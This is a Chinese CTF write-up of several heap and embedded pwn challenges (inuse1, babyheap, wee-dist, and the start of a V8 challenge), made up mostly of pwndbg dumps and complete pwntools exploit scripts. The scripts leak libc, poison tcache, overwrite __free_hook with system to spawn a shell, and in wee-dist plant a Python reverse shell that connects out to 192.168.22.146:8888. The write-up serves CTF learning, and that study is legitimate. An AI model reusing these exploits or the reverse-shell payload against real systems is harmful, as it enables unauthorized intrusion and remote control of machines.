*RDI 0x7f4db40c85c0 (_IO_2_1_stderr_) ◂— 0xfbad2087
*RSI 0x7f4db40981b8 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"
*R8 0x7f4db40943c3 ◂— 'malloc.c'
*R9 0x94b
*R10 0x7f4db4099030 (__PRETTY_FUNCTION__.13066) ◂— 'sysmalloc'
*R11 0xfffffffffffff000
*R12 0x50
*R13 0x7f4db40c85c0 (_IO_2_1_stderr_) ◂— 0xfbad2087
*R14 0x7ffc474e0530 ◂— 0x3000000010
R15 0x0
*RBP 0x7ffc474e0510 —▸ 0x7f4db40cf5c0 ◂— 0x7f4db40cf5c0
*RSP 0x7ffc474e04b8 —▸ 0x7f4db3f608d8 (locked_vfxprintf+312) ◂— jmp 0x7f4db3f60889
*RIP 0x7f4db3f559e0 (__vfprintf_internal) ◂— endbr64
───────────────────────────────────[ DISASM ]───────────────────────────────────
0x7f4db3f559e0 <__vfprintf_internal> endbr64
0x7f4db3f559e4 <__vfprintf_internal+4> push rbp
0x7f4db3f559e5 <__vfprintf_internal+5> mov rbp, rsp
0x7f4db3f559e8 <__vfprintf_internal+8> push r15
0x7f4db3f559ea <__vfprintf_internal+10> push r14
0x7f4db3f559ec <__vfprintf_internal+12> mov r14, rdx
0x7f4db3f559ef <__vfprintf_internal+15> push r13
0x7f4db3f559f1 <__vfprintf_internal+17> mov r13, rsi
0x7f4db3f559f4 <__vfprintf_internal+20> push r12
0x7f4db3f559f6 <__vfprintf_internal+22> mov r12, rdi
0x7f4db3f559f9 <__vfprintf_internal+25> push rbx
  • _IO_list_all 已经成功被我们覆盖,但是程序并没有受到影响
  • _IO_FILE 将会保存在 elf 文件中
1
2
3
4
5
6
pwndbg> search -t qword 0x7f4db40c85c0
Searching for value: b'\xc0\x85\x0c\xb4M\x7f\x00\x00'
inuse1 0x55b3bc402060 0x7f4db40c85c0
libc-2.31.so 0x7f4db40c6e90 0x7f4db40c85c0
libc-2.31.so 0x7f4db40c8780 0x7f4db40c85c0
[stack] 0x7ffc474e04e8 0x7f4db40c85c0
  • 为了验证这个过程,我们在 GDB 中修改备份的 _IO_FILE,看看是否会产生变化
1
2
3
4
5
6
7
8
9
pwndbg> p _IO_list_all
$1 = (struct _IO_FILE_plus *) 0x7ff58fa0f5c0 <_IO_2_1_stderr_>
pwndbg> search -t qword 0x7ff58fa0f5c0
Searching for value: b'\xc0\xf5\xa0\x8f\xf5\x7f\x00\x00'
inuse1 0x556b42802060 0x7ff58fa0f5c0
libc-2.31.so 0x7ff58fa0de90 0x7ff58fa0f5c0
libc-2.31.so 0x7ff58fa0f5a0 0x7ff58fa0f5c0
libc-2.31.so 0x7ff58fa0f780 0x7ff58fa0f5c0
pwndbg> set *0x556b42802060 = 0xffffffffffffffff
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*RAX  0x556b42802060 ◂— 0x7ff5ffffffff
*RBX 0x7ff5ffffffff
*RCX 0x7ff58f9da5e3 ◂— 0x257325732500203a /* ': ' */
*RDX 0x7fff68bc1102 ◂— 0x4c00316573756e69 /* 'inuse1' */
RDI 0x0
*RSI 0x7ff58f9df1b8 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"
*R8 0x7ff58f9db3c3 ◂— 'malloc.c'
*R9 0x94b
*R10 0x7ff58f9e0030 (__PRETTY_FUNCTION__.13066) ◂— 'sysmalloc'
*R11 0xfffffffffffff000
*R12 0x50
*R13 0x1000
*R14 0x556b435dc8e0 ◂— 0x6b435dbc00000000
*R15 0x44
*RBP 0x460
*RSP 0x7fff68bbef10 —▸ 0x7ff58fa45048 (_dl_catch_error@got.plt) —▸ 0x7ff58f986950 (_dl_catch_error) ◂— endbr64
*RIP 0x7ff58f8a7b22 (__fxprintf+162) ◂— mov edx, dword ptr [rbx]

面对高版本 Libc 时,还有一种泄露思路:

  • 利用 tcache attack 劫持 _IO_2_1_stdout_
  • 进行第一次 stdout 任意读,利用 Libc 全局变量 environ 来泄露栈地址
  • 进行第二次 stdout 任意读,利用 stack 中的数据来泄露程序基地址
  • 注意:这里是直接劫持 _IO_2_1_stdout_ 本身,而不是指向它的指针

在拥有了程序基地址后,其实我们可以考虑继续使用 house of cat 完成入侵,但此时劫持全局变量 freehkmallochk 才是最优解

1
2
3
4
5
.data:0000000000202018                               public freehk
.data:0000000000202018 40 BF 38 00 00 00 00 00 freehk dq 38BF40h ; DATA XREF: edit+A2↑r
.data:0000000000202018 ; edit:loc_D4C↑r
.data:0000000000202020 public mallochk
.data:0000000000202020 88 8F 38 00 00 00 00 00 mallochk dq 3706760

stdout 任意读的条件如下:

  • 设置 _flag &~ _IO_NO_WRITES_flag &~ 0x8
  • 设置 _flag & _IO_CURRENTLY_PUTTING_flag | 0x800
  • 设置 _fileno 为1
  • 设置 _IO_write_base 指向想要泄露的地方
  • 设置 _IO_write_ptr 指向泄露结束的地址
  • 设置 _IO_read_end 等于 _IO_write_base 或设置 _flag & _IO_IS_APPENDING(即 _flag | 0x1000
  • 设置 _IO_write_end 等于 _IO_write_ptr (非必须)

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
# -*- encoding: utf-8 -*-
from pwn import *

arch = 64
challenge = './inuse1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

cmd = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, cmd)
else:
p = remote('123.127.164.29','21869')

def debug():
gdb.attach(p)

def cmd(num):
p.sendlineafter('5.exit',str(num))

def add(size):
cmd(1)
p.sendlineafter('size:' , str(size))

def edit(idx,text):
cmd(4)
p.sendlineafter('id:' , str(idx))
p.send(text)

def show(idx):
cmd(2)
p.sendlineafter('id:' , str(idx))

def free(idx):
cmd(3)
p.sendlineafter('id:' , str(idx))

#debug()

add(0x500)#0
add(0x300)#1
add(0x500)#2
add(0x300)#3
add(0x200)#4
add(0x200)#5

free(0)
free(2)
show(0)

leak_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
malloc_hook = leak_addr - 0x70

success("leak_addr >> "+hex(leak_addr))
success("malloc_hook >> "+hex(malloc_hook))

libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
environ = libc_base + libc.sym['environ']
system_addr = libc_base + libc.sym['system']
stdout = libc_base + libc.sym['_IO_2_1_stdout_']

success("stdout >> "+hex(stdout))
success("environ >> "+hex(environ))
success("free_hook >> "+hex(free_hook))
success("malloc_hook >> "+hex(malloc_hook))

add(0x500)#6
add(0x500)#7

free(1)
free(3)

edit(3 , p64(stdout))

add(0x300)#8
add(0x300)#9

payload = p64(0xfbad1800) + p64(0)*3 + p64(environ) + p64(environ+0x10)
edit(9, payload)
stack_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0xe0
success("stack_addr >> "+hex(stack_addr))

payload = p64(0xfbad1800) + p64(0)*3 + p64(stack_addr) + p64(stack_addr+0x10)
edit(9, payload)
pro_base = u64(p.recv(6).ljust(8,'\x00')) - 0xe0d
data_start = pro_base + 0x202000
success("pro_base >> "+hex(pro_base))
success("data_start >> "+hex(data_start))

add(0x20)
add(0x20)

free(10)
free(11)

edit(11 , p64(data_start))
add(0x20)
add(0x20)

payload = p64(0) + p64(data_start+8) + p64(0) + p64(malloc_hook)
edit(13 , payload)

free(4)
free(5)
edit(5 , p64(free_hook-8))
add(0x200)
add(0x200)

payload = '/bin/sh\x00' + p64(system_addr)
edit(15 , payload)
free(15)

p.interactive()

babyheap

1
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.\n
1
2
3
4
5
6
babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e6f75306cf2d7daa795a02761ead04102edfcc4c, with debug_info, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,Full RELRO,NX,PIE

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
void __cdecl babyheap::backdoor::haad830f8bf071aae(babyheap::HouseTbl *tbl, i32 i)
{
bool key; // of
core::option::Option<alloc::vec::Vec<u8,alloc::alloc::Global>> *v3; // rsi
usize capacity; // [rsp+8h] [rbp-70h]
usize length; // [rsp+10h] [rbp-68h]
u8 *ptr; // [rsp+20h] [rbp-58h]
alloc::vec::Vec<u8,alloc::alloc::Global> *self; // [rsp+40h] [rbp-38h]
alloc::vec::Vec<u8,alloc::alloc::Global> v9; // [rsp+48h] [rbp-30h] BYREF
babyheap::HouseTbl *v10; // [rsp+60h] [rbp-18h]
i32 v11; // [rsp+68h] [rbp-10h]
int v12; // [rsp+6Ch] [rbp-Ch]
alloc::vec::Vec<u8,alloc::alloc::Global> *v13; // [rsp+70h] [rbp-8h]

v10 = tbl;
v11 = i;
key = __OFSUB__(i, 0x74737572);
v3 = (core::option::Option<alloc::vec::Vec<u8,alloc::alloc::Global>> *)(unsigned int)(i - 0x74737572);
if ( key )
core::panicking::panic::hb3ad04c589a0e3c8();
v12 = (int)v3;
if ( (int)v3 < 8 && (int)v3 >= 0 )
{
if ( (unsigned __int64)(int)v3 >= 8 )
core::panicking::panic_bounds_check::ha6e6615eae13afdc();
self = (alloc::vec::Vec<u8,alloc::alloc::Global> *)core::option::Option$LT$T$GT$::as_mut::h7bc15bfd4aec8821(
(core::option::Option<&mut alloc::vec::Vec<u8,alloc::alloc::Global>> *)&tbl->houses[(int)v3],
v3);
if ( self != 0LL )
{
v13 = self;
ptr = alloc::vec::Vec$LT$T$C$A$GT$::as_mut_ptr::h6230617f5474b5b1(self);
length = alloc::vec::Vec$LT$T$C$A$GT$::len::hf80d8d28218f516c(self);
capacity = alloc::vec::Vec$LT$T$C$A$GT$::capacity::h51f4c787fa581d7e(self);
alloc::vec::Vec$LT$T$GT$::from_raw_parts::h5bb5da32e80dec87(&v9, ptr, length, capacity);
core::ptr::drop_in_place$LT$alloc..vec..Vec$LT$u8$GT$$GT$::h89bc5857a045297f(&v9);
}
}
}
  • 在 “删除模块” 中有一个后门函数,要求 i==0x74737572 时触发后门

入侵思路

执行 dele(0x74737572) 有堆溢出,利用这个溢出可以完成泄露,并写 tcache->fd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './babyheap'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.27.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 0
if local:
p = process(challenge)#nc 47.98.229.103 1337
else:
p = remote('47.98.229.103','1337')

def debug():
gdb.attach(p)
#gdb.attach(p,"b *$rebase(0xD1E1)\n")
#pause()

def cmd(op):
p.sendlineafter(">>> ",str(op))

def add(size,data): # 0x1ff
cmd(1)
p.sendlineafter("now the size: ",str(size))
p.sendlineafter("next the content: ",data)

def show(index):
cmd(2)
p.sendlineafter("house index: ",str(index))

def edit(index,data):
cmd(3)
p.sendlineafter("house index: ",str(index))
p.sendlineafter(": ",data)

def dele(index):
cmd(4)
p.sendlineafter("house index: ",str(index))

#debug()

for i in range(8):
add(0x1ff,"\x00"*0x1ff)

for i in range(7):
dele(i+1)

dele(0x74737572)
add(0xff,"a"*0xff)
show(0)

p.recvuntil("a\x00")
p.recv(16)
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x3ebca0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

system_libc = libc_base + libc.sym["system"]
malloc_hook = libc_base + libc.sym["__malloc_hook"]
free_hook = libc_base + libc.sym["__free_hook"]

"""
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
"""

add(0x40,"\x00"*0x40)
add(0x40,"\x00"*0x40)
dele(3)
dele(2)

one_gadgets = [0x4f2a5,0x4f302,0x10a2fc]
one_gadget = one_gadgets[1] + libc_base
success("one_gadget >> "+hex(one_gadget))

payload = "/bin/sh\x00"*(0x100/8)+ p64(0) +p64(0x51) + p64(free_hook) + "c"*0x40 + p64(0x51)
payload += 0x48 * "c" + p64(0x61)+p64(libc_base+0x3ebca0) + p64(libc_base+0x3ebca0)
edit(0,payload.ljust(0x1ff,"\x00"))

add(0x40,"\x00"*0x40)
#pause()
add(0x40,p64(system_libc).ljust(0x40,"\x00"))

dele(0)

p.interactive()

wee-dist

先截两张图,用来表示我的疑惑:

内核信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/bash

cd $(dirname "$0")

./qemu-system-arm \
-nographic \
-serial chardev:serial0 \
-serial /dev/null \
-monitor /dev/null \
-chardev stdio,signal=off,id=serial0 \
-smp 2 \
-machine virt,secure=on \
-cpu cortex-a15 \
-semihosting-config enable=on,target=native \
-m 1057 \
-bios bl1.bin \
-object rng-random,filename=/dev/urandom,id=rng0 \
-device virtio-rng-pci,rng=rng0,max-bytes=1024,period=1000 \
-netdev user,id=vmnic,hostfwd=tcp::8889-:8889 \
-device virtio-net-device,netdev=vmnic \
-no-reboot
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/sh
# devtmpfs does not get automounted for initramfs
/bin/mount -t devtmpfs devtmpfs /dev

# use the /dev/console device node from devtmpfs if possible to not
# confuse glibc's ttyname_r().
# This may fail (E.G. booted with console=), and errors from exec will
# terminate the shell, so use a subshell for the test
if (exec 0</dev/console) 2>/dev/null; then
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
fi

/etc/init.d/rcS
cd /root
python3 app.py
poweroff -d 0 -f

比赛时被同名的 misc 题目给误导了,以为要打内核:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
diff --git a/core/include/tee/tee_svc.h b/core/include/tee/tee_svc.h
index 27a04c05..09ad4cba 100644
--- a/core/include/tee/tee_svc.h
+++ b/core/include/tee/tee_svc.h
@@ -74,4 +74,6 @@ TEE_Result syscall_wait(unsigned long timeout);
TEE_Result syscall_get_time(unsigned long cat, TEE_Time *time);
TEE_Result syscall_set_ta_time(const TEE_Time *time);

+TEE_Result syscall_get_flag(char* buffer, size_t size);
+
#endif /* TEE_SVC_H */
diff --git a/core/kernel/scall.c b/core/kernel/scall.c
index 454cabcc..f83248e3 100644
--- a/core/kernel/scall.c
+++ b/core/kernel/scall.c
@@ -119,6 +119,7 @@ static const struct syscall_entry tee_syscall_table[] = {
SYSCALL_ENTRY(syscall_not_supported),
SYSCALL_ENTRY(syscall_not_supported),
SYSCALL_ENTRY(syscall_cache_operation),
+ SYSCALL_ENTRY(syscall_get_flag),
};

实际上本题主要涉及到几个 python encoding 的问题

漏洞分析

1
2
3
4
5
6
7
8
for line in lines[1:]:
headers[line.decode().split(': ')[0]] = line.decode().split(': ')[1]
if match := re.match(r'^Content-Length: (\d+)$', line.decode()):
cl = match[1]
elif match := re.match(r'^X-Signature: (\w+)$', line.decode()):
sig = match[1]
elif match := re.match(r'^Content-Type: (\w+\/\w+)$', line.decode()):
ct = match[1]
  • python re 模块的 \d 通配符以及 int 函数会接受所有 unicode 数字作为输入

secure_sig 中含有后门:

1
2
3
4
5
6
7
8
9
10
.text:00000D34 6D E9 02 7E                   STRD.W          R7, LR, [SP,#-8]!
.text:00000D38 00 AF ADD R7, SP, #0
.text:00000D3A 04 4B LDR R3, =(aChmodXTmpRceTm - 0xD40) ; "chmod +x /tmp/rce; /tmp/rce"
.text:00000D3C 7B 44 ADD R3, PC ; "chmod +x /tmp/rce; /tmp/rce"
.text:00000D3E 18 46 MOV R0, R3
.text:00000D40 FF F7 56 ED BLX system
.text:00000D40
.text:00000D44 00 BF NOP
.text:00000D46 BD 46 MOV SP, R7
.text:00000D48 80 BD POP {R7,PC}
1
2
3
4
int sub_D34()
{
return system("chmod +x /tmp/rce; /tmp/rce");
}
  • 可以执行 /tmp/rce

入侵思路

在二进制程序 secure_sig 中含有后门,可以执行 /tmp/rce

因此我们要先利用 handle_sign_message/tmp/rce 中写入攻击脚本(最好是反弹 shell),不过这里有一个细节需要注意:

1
2
3
4
5
6
7
with open(sig_file, "wb") as f:
f.write(message)
response = {}
response["message"] = message.decode()
if not self.sign_message(str(len(sig_file)).encode(), sig_file.encode()):
response["signature"] = "sign failed"
return 500, "application/json", json.dumps(response)
  • 程序会调用 sign_message
1
2
3
4
5
6
7
8
9
TEE_SECURE_SIG = "/usr/bin/secure_sig"

def sign_message(self, cl, target_file_name):
# run the signature generator and get the return code (0 for success), the signature is written to target_file_name
message = b"i:0;s:" + cl + b":\"" + target_file_name + b"\";"
p = subprocess.Popen([TEE_SECURE_SIG], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
p.stdin.write(message)
out, err = p.communicate()
return p.returncode == 0
  • subprocess.Popen 会打开并执行二进制程序 secure_sig,在其中会对写入的数据进行加密

函数 decode 默认使用 UTF-8 编码,如果字符串中包含大于 0x7f 的字符且不符合 UTF-8 的格式,会报错,从而不执行二进制程序 secure_sig 里面的文件覆盖操作

写入任意文件的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
s = '''python3 -c 'import socket,subprocess,os;
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.22.146",8888));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
'''
mess = "#!/bin/sh\n"+s+"#ÿaaaaaaaaaa" # 使用非UTF-8格式的字符,从而使decode报错
headers={
"Host": "127.0.0.1",
"Authorization":base64.b64encode(b"rce"),
"X-Forwarded-For": "127.0.0.1"
}
url=b'http://127.0.0.1:8889/sign_message?message='+base64.b64encode(mess.encode("latin")) # 使用latin编码以获取大于0x7f的字符
response = requests.get(url=url,headers=headers)
print(response.content)
  • 该文件会获取一个反弹 shell
  • 另外还需要注意一个细节,python encode 使用的默认编码方式是 UTF-8,如果遇到不合法的 UTF-8 字符,就会将其强行拆解为两个合法的字符:
1
2
print(mess.encode("latin"))
b'#!/bin/sh\npython3 -c \'import socket,subprocess,os;\ns = socket.socket(socket.AF_INET,socket.SOCK_STREAM);\ns.connect(("192.168.22.146",8888));\nos.dup2(s.fileno(),0);\nos.dup2(s.fileno(),1); \nos.dup2(s.fileno(),2);\np=subprocess.call(["/bin/sh","-i"]);\'\n#\xffaaaaaaaaaa'
1
2
print(mess.encode())
b'#!/bin/sh\npython3 -c \'import socket,subprocess,os;\ns = socket.socket(socket.AF_INET,socket.SOCK_STREAM);\ns.connect(("192.168.22.146",8888));\nos.dup2(s.fileno(),0);\nos.dup2(s.fileno(),1); \nos.dup2(s.fileno(),2);\np=subprocess.call(["/bin/sh","-i"]);\'\n#\xc3\xbfaaaaaaaaaa'
  • 因此我们需要使用范围更大的 latin 编码

接下来就要在 secure_sig 中找寻漏洞,并执行后门函数,先看看传入的参数是什么:

1
2
3
4
5
6
7
8
def check_signature(self, cl, body, sig):
# serialize the message (PHP style :) )
message = b"i:1;s:" + cl + b":\"" + body + b"\";s:64:\"" + sig + b"\";"
# run the signature checker and get the return code (0 for success)
p = subprocess.Popen([TEE_SECURE_SIG], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
p.stdin.write(message)
out, err = p.communicate()
return p.returncode == 0

根据 check_signature 函数,我们可以写出类似的脚本进行调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# -*- coding:utf-8 -*-
from pwn import *

arch = 32
challenge = './secure_sig1'

context.os='linux'
context.log_level = 'debug'
if arch==64:
context.arch='aarch64'
if arch==32:
context.arch='arch32'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process("qemu-arm -L /usr/arm-linux-gnueabihf -g 1234 ./secure_sig1", shell = True)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x269F)\n")
#pause()

def cmd(op):
p.sendline(str(op))

def check_signature(cl, body, sig):
message = b"i:1;s:" + cl + b":\"" + body + b"\";s:64:\"" + sig + b"\";"
return message

cl =
body =
sig =
payload = check_signature(cl,body,sig)

p.sendline(payload)

p.interactive()
  • PS:其实调试出了一些问题,报了以下的错误(猜测是 TEEC 的原因,目前不知道怎么解决)
1
secure_sig1: TEEC_InitializeContext(NULL, x): 0xffff0008

由于没法调试,因此最后的栈溢出过程没法复现了,完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin python3
# -*- coding: utf-8 -*-
from pwn import *
import requests
import base64
context.log_level = 'debug'

target_host = "127.0.0.1"
target_port = 8889

def prepare_evil_file():
s = '''python3 -c 'import socket,subprocess,os;
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.22.146",8888));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
'''
mess = "#!/bin/sh\n"+s+"#ÿaaaaaaaaaa" # 使用非UTF-8格式的字符,从而使decode报错
headers={
"Host": "127.0.0.1",
"Authorization":base64.b64encode(b"rce"),
"X-Forwarded-For": "127.0.0.1"
}
url=b'http://127.0.0.1:8889/sign_message?message='+base64.b64encode(mess.encode("latin"))
response = requests.get(url=url,headers=headers)
print(response.content)

def exploit():
body = cyclic(550)
sig ='733a343239343936363732303a58c0fdffff2b350d22000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
headers={
"X-Signature": sig,
"Content-Type": "application/json",
}
url="http://127.0.0.1:8889/sign_message"
response = requests.post(url=url,headers=headers,data=body)
print(base64.b64decode(sig))
print(response.content)

prepare_evil_file()
exploit()

dddddddd

V8 的 misc 题目

预期解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
From a5d68c2f29d0f688e3a5145c35111c4e491e4e37 Mon Sep 17 00:00:00 2001
From: Future CTF Organizer <devnull@pwnable.ai>
Date: Sat, 11 Feb 2023 05:12:42 +0800
Subject: [PATCH 2/2] Revert "[wasm] Remove serialization of WasmModuleObject"

This reverts commit 30e4ba6df4cdf5582de4d79850bcd270e6a75a7a.
---
src/objects/value-serializer.cc | 105 +++++++++++++++---
src/objects/value-serializer.h | 1 +
.../objects/value-serializer-unittest.cc | 23 ++++
3 files changed, 115 insertions(+), 14 deletions(-)

diff --git a/src/objects/value-serializer.cc b/src/objects/value-serializer.cc
index 2efca82aaaa..44e3fca5b5b 100644
--- a/src/objects/value-serializer.cc
+++ b/src/objects/value-serializer.cc
@@ -41,7 +41,10 @@
#include "src/snapshot/code-serializer.h"

#if V8_ENABLE_WEBASSEMBLY
+#include "src/wasm/wasm-engine.h"
#include "src/wasm/wasm-objects-inl.h"
+#include "src/wasm/wasm-result.h"
+#include "src/wasm/wasm-serialization.h"
#endif // V8_ENABLE_WEBASSEMBLY

namespace v8 {
@@ -174,6 +177,11 @@ enum class SerializationTag : uint8_t {
kSharedArrayBuffer = 'u',
// A HeapObject shared across Isolates. sharedValueID:uint32_t
kSharedObject = 'p',
+ // Compiled WebAssembly module. encodingType:(one-byte tag).
+ // If encodingType == 'y' (raw bytes):
+ // wasmWireByteLength:uint32_t, then raw data
+ // compiledDataLength:uint32_t, then raw data
+ kWasmModule = 'W',
// A wasm module object transfer. next value is its index.
kWasmModuleTransfer = 'w',
// The delegate is responsible for processing all following data.
@@ -235,6 +243,10 @@ enum class ArrayBufferViewTag : uint8_t {
kDataView = '?',
};

+enum class WasmEncodingTag : uint8_t {
+ kRawBytes = 'y',
+};
+
// Sub-tags only meaningful for error serialization.
enum class ErrorTag : uint8_t {
// The error is a EvalError. No accompanying data.
@@ -1094,21 +1106,41 @@ Maybe<bool> ValueSerializer::WriteJSSharedArray(

#if V8_ENABLE_WEBASSEMBLY
Maybe<bool> ValueSerializer::WriteWasmModule(Handle<WasmModuleObject> object) {
- if (delegate_ == nullptr) {
- return ThrowDataCloneError(MessageTemplate::kDataCloneError, object);
+ if (delegate_ != nullptr) {
+ // TODO(titzer): introduce a Utils::ToLocal for WasmModuleObject.
+ Maybe<uint32_t> transfer_id = delegate_->GetWasmModuleTransferId(
+ reinterpret_cast<v8::Isolate*>(isolate_),
+ v8::Local<v8::WasmModuleObject>::Cast(
+ Utils::ToLocal(Handle<JSObject>::cast(object))));
+ RETURN_VALUE_IF_SCHEDULED_EXCEPTION(isolate_, Nothing<bool>());
+ uint32_t id = 0;
+ if (transfer_id.To(&id)) {
+ WriteTag(SerializationTag::kWasmModuleTransfer);
+ WriteVarint<uint32_t>(id);
+ return Just(true);
+ }
}
-
- // TODO(titzer): introduce a Utils::ToLocal for WasmModuleObject.
- Maybe<uint32_t> transfer_id = delegate_->GetWasmModuleTransferId(
- reinterpret_cast<v8::Isolate*>(isolate_),
- v8::Local<v8::WasmModuleObject>::Cast(
- Utils::ToLocal(Handle<JSObject>::cast(object))));
- RETURN_VALUE_IF_SCHEDULED_EXCEPTION(isolate_, Nothing<bool>());
- uint32_t id = 0;
- if (transfer_id.To(&id)) {
- WriteTag(SerializationTag::kWasmModuleTransfer);
- WriteVarint<uint32_t>(id);
- return Just(true);
+ WasmEncodingTag encoding_tag = WasmEncodingTag::kRawBytes;
+ WriteTag(SerializationTag::kWasmModule);
